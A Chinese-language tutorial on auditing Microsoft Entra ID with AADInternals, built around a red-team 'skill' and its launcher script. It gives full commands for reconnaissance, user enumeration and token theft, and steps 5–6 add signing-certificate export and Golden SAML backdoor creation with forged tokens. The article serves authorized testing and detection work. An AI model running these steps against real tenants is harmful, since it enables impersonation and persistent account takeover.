首页
/ 使用 AADInternals 审计 Microsoft Entra ID:从外部侦察到 Golden SAML 联合后门验证(T1606.002)

使用 AADInternals 审计 Microsoft Entra ID:从外部侦察到 Golden SAML 联合后门验证(T1606.002)

2026-09-09 19:54:16作者:胡唯隽

法律声明: 本文所涉技能仅限用于经授权的安全测试、红队演练与教学研究。AADInternals 能够伪造 SAML 令牌、植入联合身份后门,从而以任意租户用户的身份实现持久化冒用。请仅对您拥有或已获得明确书面授权(rules of engagement)的租户执行测试。未经授权使用将违反《计算机欺诈和滥用法》(CFAA)及同等效力的法律法规。本文所有命令均须在授权范围内执行。

导读

本文以开源仓库 Anthropic-Cybersecurity-Skills 中的 auditing-entra-id-with-aadinternals 技能为骨架,完整讲解如何驾驭 AADInternals PowerShell 工具包,对 Microsoft Entra ID(原 Azure AD)执行从零凭据的外部侦察、Microsoft 第一方 API 的访问令牌获取,以及联合身份 / AD FS 后门(Golden SAML,对应 MITRE ATT&CK T1606.002)的受控验证。读完本文,你将掌握 AADInternals 的安装、核心 cmdlet 的调用链路、底层公共端点的取证原理,以及如何以防御验证视角产出暴露面证据与加固建议。该技能完整内容见 SKILL.md,配套的 cmdlet 参数速查见 api-reference.md,框架映射依据见 standards.md

一、AADInternals 是什么

AADInternals 是面向 Microsoft Entra ID、Azure AD Connect 与 Active Directory Federation Services(AD FS)的最全面的攻防一体化 PowerShell 工具包,作者为 Dr. Nestori Syynimaa(Gerenios / Secureworks)。它暴露了数百个 cmdlet(全部以 AADInt 前缀命名),覆盖:

  • 无凭据的外部侦察(outsider reconnaissance);
  • 面向每一个 Microsoft API 的访问令牌获取;
  • 目录对象操作;
  • AD FS / PTA(Pass-Through Authentication)攻击;
  • 以及其最著名的能力:联合身份后门——通过 Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor 路径,攻击者控制联合域名的 IssuerUri 后,即可为任意用户铸造 SAML 令牌,映射到 MITRE ATT&CK T1606.002(伪造 Web 凭据:SAML 令牌),与 SolarWinds(Golden SAML)入侵事件中使用的技术属于同一类别。

工具包按所需权限位置对能力分层:

能力层 所需凭据 典型 cmdlet
外部侦察 Invoke-AADIntReconAsOutsiderGet-AADIntLoginInformation
令牌获取 有效凭据 Get-AADIntAccessTokenFor* 系列
目录枚举 令牌 Get-AADIntUsersGet-AADIntTenantDetails
联合后门 / Golden SAML Global Administrator(或同步的 AD Connect 账户) ConvertTo-AADIntBackdoorNew-AADIntSAMLToken

无凭据阶段查询的是公共端点(getuserrealm、OpenID configuration、autodiscover),用于揭示已验证域名、租户 ID、联合类型、品牌以及是否启用了 Desktop/Seamless SSO。取得立足点后,Get-AADIntAccessTokenFor* 系列 cmdlet 可为 Azure AD Graph、Microsoft Graph、Exchange Online、SharePoint、Azure Core Management 等获取令牌,并可通过缓存机制供后续 cmdlet 自动复用。具备 Global Administrator(或同步的 AD Connect 账户)权限后,即可读取目录机密、操作用户并建立联合后门。

本技能从防御验证视角驱动 AADInternals:确认外部攻击者能学到什么、低权限令牌能触达什么、联合身份/AD FS 配置是否允许 Golden SAML——随后产出证据与加固建议。

二、适用场景(When to Use)

  • 在经授权的 Entra ID / Microsoft 365 红队或假设失陷(assumed-breach)评估期间;
  • 在凭据攻击之前枚举外部攻击面(已验证域名、联合类型、SSO 状态);
  • 验证联合身份与 AD FS 令牌签名证书是否受到针对 Golden SAML 的保护;
  • 测试令牌获取与在 Microsoft 第一方 API 之间的重放;
  • 构建检测规则时(可搭配仓库中的 detecting-entra-offensive-tools-in-graph-logs 蓝队技能),需要真实的 AADInternals 遥测数据。

三、前置条件与安装

  • 覆盖身份攻击与联合后门测试的书面授权
  • 安装有 PowerShell 5.1+(或其支持子集上的 PowerShell 7)的 Windows 主机;
  • 后门/联合测试需要目标租户的 Global Administrator(或同等权限),且须在规则范围(ROE)内;
  • 熟悉 SAML/WS-Federation、OAuth 令牌与 Azure AD Connect。

从 PowerShell Gallery 安装模块:

Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals

本技能目录 scripts/agent.py 提供了一个跨平台的补充入口:其 recon 子命令用纯 Python 实现与 Invoke-AADIntReconAsOutsider 相同的无凭据外部侦察(无需 Windows / PowerShell 环境),而 run 子命令则作为 PowerShell 启动器,用于调用需要凭据或后门操作的 AADInternals cmdlet。

四、MITRE ATT&CK 映射

ID 技术 在本技能中的应用
T1606.002 伪造 Web 凭据:SAML 令牌 ConvertTo-AADIntBackdoor + New-AADIntSAMLToken 通过受控的联合 IssuerUri 为任意用户伪造 SAML 令牌(Golden SAML)

相关技术:T1087.004 账户发现:云账户(侦察)、T1528 窃取应用程序访问令牌(令牌获取)、T1556.007 修改身份验证流程:混合身份(联合/PTA 后门)。完整的映射及理由说明见 standards.md,其中还包含 NIST CSF 2.0 的 ID.AM-03(组织通信与数据流已映射) 映射——外部侦察与已认证枚举恰好映射了租户身份面、联合信任流,以及哪些 API/令牌能触达哪些数据。

五、完整工作流

第 1 步:无凭据外部侦察(Outsider Reconnaissance)

无需任何凭据,即可识别已验证域名、租户 ID、联合类型、品牌与 SSO 状态。

# 对某域名执行完整外部侦察(表格输出)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table

# 登录/realm 详情:联合 vs 托管、AuthURL、品牌
Get-AADIntLoginInformation -Domain "target.com"

# 租户 GUID
Get-AADIntTenantID -Domain "target.com"

底层原理(结合仓库源码): 该步骤之所以"无凭据",是因为它只命中 Microsoft 的公共端点。仓库脚本 scripts/agent.py 给出了这两个端点的镜像实现,可直接在无 Windows 环境时复现:

  • get_user_realm():请求 https://login.microsoftonline.com/getuserrealm.srf?login=nn@<domain>&xml=0。返回的 NameSpaceType 字段直接区分**联合(Federated)托管/云(Managed/cloud)**认证;FederationBrandName/AuthURL 则揭示品牌与联合认证入口;
  • get_tenant_id():请求 https://login.microsoftonline.com/<domain>/.well-known/openid-configuration,从 issuer 字段(形如 https://sts.windows.net/<tenant-guid>/)中提取租户 GUID。

也就是说,攻击者在拿到任何有效凭据之前,仅凭域名就能确认目标是否走联合认证、联合入口在哪、租户标识是什么——这为后续 Golden SAML 攻击面的研判提供了第一手证据。

第 2 步:外部用户枚举(可选,有噪音)

通过 GetCredentialType / autologon 端点验证用户名是否存在。

# 测试单个候选 UPN 是否存在
Invoke-AADIntUserEnumerationAsOutsider -UserName "user1@target.com"

# 或批量管道输入
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider

此步对应 T1087.004(账户发现:云账户),在正式凭据攻击前可大幅缩小目标范围;但会留下明显的身份验证噪音,是否执行应依据 ROE 决定。

第 3 步:获取并缓存访问令牌

凭据有效(或交互式提示输入)后,为所需 API 获取令牌。-SaveToCache 让后续 cmdlet 自动复用该令牌。

# Azure AD Graph(遗留 graph.windows.net)令牌,并缓存
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph(graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO

根据 api-reference.md 的令牌获取表,同一层级的 cmdlet 还包括:

Cmdlet 关键参数 用途
Get-AADIntAccessTokenForAADGraph -SaveToCache, -Credentials, -KerberosTicket Azure AD Graph(graph.windows.net)令牌
Get-AADIntAccessTokenForMSGraph -SaveToCache Microsoft Graph 令牌
Get-AADIntAccessTokenForEXO -SaveToCache Exchange Online 令牌
Get-AADIntAccessTokenForOneDrive -Tenant, -SaveToCache SharePoint/OneDrive 令牌
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache Azure Resource Manager 令牌

该能力对应 T1528(窃取应用程序访问令牌):一旦令牌落入攻击者之手并可在多个第一方 API 间复用,低权限凭据也能横向触达 Exchange、SharePoint、ARM 等数据平面。这也是为什么建议评估中逐项记录"哪个令牌可触达哪个 API"。

第 4 步:已认证目录枚举

利用已缓存/已获取的令牌读取目录对象,绘制权限地图。

# 全局租户信息(使用缓存的 AAD Graph 令牌)
Get-AADIntTenantDetails

# 枚举用户,标记高权限与已同步账户
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId

api-reference.md 补充了更聚焦的枚举 cmdlet:Get-AADIntGlobalAdmins(列出全局管理员)、Get-AADIntServicePrincipals(枚举服务主体)。其中的 ImmutableId(不可变 ID)是第 6 步伪造 SAML 令牌时的关键输入,务必在此步记录。

第 5 步:检查联合身份 / AD FS 配置

判断租户是否使用联合域名、令牌签名密钥存放于何处——这是 Golden SAML 的前提条件。

# 若可访问 AD FS 服务器,导出令牌签名证书
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx

# 读取 AD FS 配置 / 加密密钥(在 AD FS 主机上或通过 DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com

令牌签名证书一旦泄露(无论来自 AD FS 主机、备份、还是 DKM 密钥分发中的不当访问控制),攻击者即可离线铸造任意用户的 SAML 令牌而不触碰在线系统。此步的核心目标就是确认签名密钥的暴露面。

第 6 步:联合后门 / Golden SAML(仅限授权环境)

将域名转换为后门——设置已知的 IssuerUri——然后使用该域名的 ImmutableId 为目标用户伪造 SAML 令牌。仅在受控且获得明确授权的租户内执行。

# 需要第 3 步缓存的 Global Admin 令牌(AAD Graph)
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# 输出中包含伪造令牌时需复用的 IssuerUri。

# 伪造冒充某用户的 SAML 令牌(ImmutableId 来自 Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate

# 使用伪造令牌以被冒充用户身份打开门户会话
Open-AADIntOffice365Portal -SAMLToken $saml

api-reference.md 还记录了另一条变体路径:New-AADIntBackdoor -DomainName <fqdn> -Issuer <url>,用于新建一个后门联合域名,而 ConvertTo-AADIntBackdoor 则是将既有域名转换为后门(设置 IssuerUri),二者均需 Global Administrator 的 AAD Graph 令牌。

攻击原理: 当联合域名的 IssuerUri 被攻击者控制,且攻击者掌握(或伪造)与租户期望签名匹配的令牌签名证书(-UseBuiltInCertificate 即使用内置于 AADInternals 的已知私钥)时,Entra ID 会信任该发行方签发的 SAML 断言,从而为任意 ImmutableID 对应的用户签发会话。这正是 T1606.002 的核心机制,也是 SolarWinds Golden SAML 攻击的技术同源。

第 7 步:记录暴露面并加固

准确记录侦察揭示了什么、哪些令牌/API 可达、后门/Golden SAML 路径是否成功。加固建议包括:

  • 保护 AD FS 令牌签名证书:放入 HSM,严格控制 DKM 访问;
  • 对新建/变更的联合信任进行告警
  • 监控 Set-DomainAuthentication / Set-MsolDomainFederationSettings 的调用行为;
  • 条件可行时迁移到托管(云)身份验证,从根本上消除自托管 AD FS 签名面。

六、Cmdlet 快速参考

Cmdlet 所需位置 用途
Invoke-AADIntReconAsOutsider 已验证域名、租户 ID、联合类型、SSO
Get-AADIntLoginInformation 域名的 realm/登录详情
Get-AADIntTenantID 租户 GUID
Invoke-AADIntUserEnumerationAsOutsider 验证用户是否存在
Get-AADIntAccessTokenForAADGraph 凭据 Azure AD Graph 令牌(-SaveToCache
Get-AADIntAccessTokenForMSGraph 凭据 Microsoft Graph 令牌
Get-AADIntAccessTokenForEXO 凭据 Exchange Online 令牌
Get-AADIntUsers 令牌 枚举目录用户
ConvertTo-AADIntBackdoor Global Admin 将域名转换为联合后门
New-AADIntSAMLToken 后门 为用户伪造 SAML 令牌(Golden SAML)
Open-AADIntOffice365Portal SAML 令牌 以被冒充用户身份打开门户会话

七、脚本辅助:跨平台运行与验证

仓库为 Windows 之外的验证场景提供了 scripts/agent.py。它的两个子命令设计目标如下:

# 纯 Python 无凭据外部侦察(不依赖 Windows / AADInternals)
python3 scripts/agent.py recon target.com --json

# 通过 PowerShell 启动任意 AADInternals cmdlet(需要已安装 pwsh/powershell 与 AADInternals 模块)
python3 scripts/agent.py run Get-AADIntAccessTokenForMSGraph -SaveToCache

其中 run 子命令从源码上看会优先探测 pwsh,其次回退到 powershell,并实际执行 Import-Module AADInternals; <cmdlet> <args> 形式的命令(见 scripts/agent.py)。它不替代 AADInternals 的完整功能,而是为 Linux/macOS 侧做侦察复现与命令调度的轻量桥梁。注意:无凭据侦察之外的阶段(令牌获取、目录枚举、后门测试)仍然必须在安装有完整 AADInternals 的 Windows 主机上进行。

八、验证标准(Validation Criteria)

一个完整的评估应逐项完成并留档:

  • [ ] 完成外部侦察;记录已验证域名、租户 ID 与联合类型
  • [ ] 用户枚举已测试(或记录为超出范围)
  • [ ] 为至少一个 Microsoft API 获取并缓存访问令牌
  • [ ] 执行已认证目录枚举(用户/角色,标注已同步账户)
  • [ ] 评估联合身份 / AD FS 配置的令牌签名密钥暴露情况
  • [ ] 在授权的受控租户中测试后门 / Golden SAML 路径(或记录为超出范围)
  • [ ] 以具体影响记录暴露面
  • [ ] 交付加固建议(证书保护、联合监控、托管认证迁移)

九、防御侧对照

本技能是攻击面验证工具,但每个阶段的产出都能直接转化为检测与加固输入:第 1、2 步产生的 getuserrealmGetCredentialType 流量与用户枚举噪音可写入 SIEM 检测;第 3、4 步的令牌获取与目录读取模式对应 Graph 日志中的异常应用授权与批量读取;第 5、6 步的联邦配置变更(Set-MsolDomainFederationSettings 等)应是高优先级告警项。需要检测侧落地时,可对照仓库中的 detecting-entra-offensive-tools-in-graph-logs 技能,将本技能产生的真实 AADInternals 遥测作为验证样本。

十、局限性说明

  • 第 6 步的后门测试需要 Global Administrator 权限,且只应在受控测试租户中执行——在生产租户中,ConvertTo-AADIntBackdoor 改变域名联合设置本身就会造成真实影响;
  • Get-AADIntAccessTokenFor* 系列需要有效凭据;无凭据阶段仅覆盖 AADInternals 能力的一个子集(外部侦察与用户枚举);
  • New-AADIntSAMLToken-UseBuiltInCertificate 使用工具内置证书,仅适用于测试场景;真实攻击中攻击者会使用泄露的正式签名证书,因此第 5 步对真实证书暴露的评估仍是防御验证的核心目标。
登录后查看全文
热门项目推荐
相关项目推荐

项目优选

收起
kernelkernel
deepin linux kernel
C
33
18
docsdocs
暂无描述
Markdown
900
5.83 K
ops-transformerops-transformer
本项目是CANN提供的transformer类大模型算子库,实现网络在NPU上加速计算。
C++
1.14 K
2.75 K
pytorchpytorch
作为 Ascend for PyTorch 社区的核心组件,TorchNPU 是昇腾专为 PyTorch 打造的深度学习适配插件,使 PyTorch 框架能够直接调用昇腾 NPU,为开发者提供昇腾 AI 处理器的超强算力。
Python
860
1.35 K
ops-nnops-nn
本项目是CANN提供的神经网络类计算算子库,实现网络在NPU上加速计算。
C++
927
1.85 K
jiuwenswarmjiuwenswarm
JiuwenSwarm 是一款基于openJiuwen开发的智能AI Agent,它能够将大语言模型的强大能力,通过你日常使用的各类通讯应用,直接延伸至你的指尖。
Python
3.84 K
1.02 K
kernelkernel
openEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。
C
533
603
ops-mathops-math
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
1.37 K
1.46 K
AscendNPU-IRAscendNPU-IR
AscendNPU-IR是基于MLIR(Multi-Level Intermediate Representation)构建的,面向昇腾亲和算子编译时使用的中间表示,提供昇腾完备表达能力,通过编译优化提升昇腾AI处理器计算效率,支持通过生态框架使能昇腾AI处理器与深度调优
C++
548
397
cann-learning-hubcann-learning-hub
CANN 学习中心仓,支持在线互动运行、边学边练,提供教程、示例与优化方案,一站式助力昇腾开发者快速上手。
Jupyter Notebook
1.04 K
525